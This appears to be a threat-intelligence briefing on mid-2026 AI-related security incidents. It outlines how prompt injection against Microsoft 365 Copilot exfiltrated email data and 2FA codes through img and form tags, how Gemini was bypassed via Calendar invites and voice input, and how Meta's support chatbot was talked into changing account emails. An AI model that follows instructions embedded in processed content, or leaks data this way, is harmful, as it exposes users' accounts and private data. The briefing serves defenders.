Version 18

AI is simultaneously being weaponized by attackers and exploited as an attack surface across a cluster of campaigns and disclosures running from late April through mid-June 2026. A maximum-critical vulnerability in M365 Copilot, disclosed June 16, allowed attackers to steal 2FA codes and sensitive email data by embedding instructions in third-party content Copilot processes [8], adding to documented prompt injection exploits across Google Gemini and Meta's AI chatbot. Google's lawsuit against the Chinese Outsider Enterprise network details a phishing-as-a-service model priced at $88/week, with $1.9 billion in attributed losses since July 2023 and 3.87 million stolen credit card numbers linked by the FBI [17]. The Mini Shai-Hulud supply chain campaign compromised 1,000+ SaaS environments, approximately 3,800 GitHub repositories, and 30 EU institutions [1][4][2], and Anthropic's Frontier Red Team found AI use in post-compromise attack phases rose 8.9% among 832 banned malicious accounts [18].

AI is expanding the threat on both sides simultaneously: it lowers the technical barrier for attackers to near-zero (phishing-as-a-service at $88/week, malware authorship in two-thirds of banned accounts) while creating attack surfaces researchers now characterize as structurally unfixable in current LLM architectures [8]. Autonomous AI cyber capability is doubling approximately every 4.7 months [22], and the two main threat-modeling frameworks defenders rely on both lack coverage for the autonomous agentic attack mode growing fastest [19][24].

The Mini Shai-Hulud campaign, launched by threat actor TeamPCP on May 11, 2026, confirmed impact across more than 1,000 SaaS environments [1], approximately 3,800–4,000 GitHub internal repositories stolen via a poisoned VS Code extension [2][3], and 30 EU institutions breached via the Trivy container scanner [4]. Concurrent campaigns hit additional trust surfaces: an AntV ecosystem attack faked Sigstore provenance badges across 600+ packages [5], TrapDoor compromised 34+ packages across npm, PyPI, and crates.io [6], and 73 Microsoft-signed packages contained credential-stealing code that activated specifically when developers opened them in AI coding agents [7]. GitHub removed the packages citing a terms-of-service violation rather than warning developers their systems may be compromised; Microsoft did not publicly acknowledge the possibility of malicious content until days after removal [7].

AI-connected products are under attack at multiple layers. A maximum-critical vulnerability in Microsoft 365 Copilot allowed attackers to steal 2FA codes and sensitive email data accessible to Copilot; the bypass wrapped stolen data in HTML constructs — img and form tags — to trigger outbound requests to attacker-controlled servers [8]. Ars Technica reports Microsoft and other providers have no fundamental fix for prompt injection, leaving them to erect 'complicated and ad hoc guardrails' around what it characterizes as 'incurable gullibility' in current LLMs [8]. This assessment fits a pattern: SafeBreach documented three separate bypasses of Google Gemini's defenses via voice injection [9], Google Calendar invites [10], and WhatsApp 'Fake Context Alignment' across six messaging platforms [11]. Meta's AI support chatbot was exploited to take over high-profile Instagram accounts, including the Obama White House account, by asking it to substitute a new email during a password reset; Meta had deployed the bot with direct account-modification authority and no identity verification, and issued an emergency patch after the fact [12][13]. Simon Willison's 'Lethal Trifecta' framework names private data access, exposure to untrusted content, and an exfiltration channel as the structural condition enabling LLM data theft; he argues OpenAI's Lockdown Mode addresses only the third leg, implying ChatGPT's default configuration does not robustly block determined exfiltration [14].

AI is also being deployed at scale to run attacks with minimal technical skill. Google sued the Chinese Outsider Enterprise network for operating phishing-as-a-service toolkits on Telegram at $88/week, with 290+ pre-built templates requiring no coding ability and including instructions for using Gemini to build fake websites impersonating Google, YouTube, government agencies, banks, and toll agencies [15][16][17]. The FBI links the network to 3.87 million stolen credit card numbers; the group is estimated to have caused $1.9 billion in losses since July 2023, sent 2.5 million fraudulent texts to Android users, and generated 9,000 fake websites [17]. Anthropic's Frontier Red Team found corroborating aggregate data in 832 banned malicious accounts: 67.3% used AI to write malware, AI use in post-compromise attack phases rose 8.9% [18], and medium-to-high risk actors grew from 33% to 56% — roughly a 1.7-fold increase — with traditional signals such as technique count no longer reliably separating sophisticated from novice attackers [19].

Governance is running behind capability. NIST's CAISI framework evaluates submitted models but does not cover deployment programs [20]. Anthropic's Project Glasswing — now at approximately 200 partners in 15+ countries across power, water, healthcare, and critical infrastructure — reports 10,000+ high- or critical-severity flaws found using Mythos Preview, and Anthropic argues controlled deployment under structured conditions is preferable to waiting while competitors deploy comparable capability without safeguards [21]. AISI measured autonomous AI cyber capability as doubling approximately every 4.7 months, with Claude Mythos as the first AI to complete both UK offensive cyber ranges autonomously [22][23]. The Cloud Security Alliance confirmed that both MITRE ATT&CK and MITRE ATLAS lack coverage for the autonomous agentic orchestration attack mode this capability class enables [24], and neither framework body has publicly responded to the documented gap.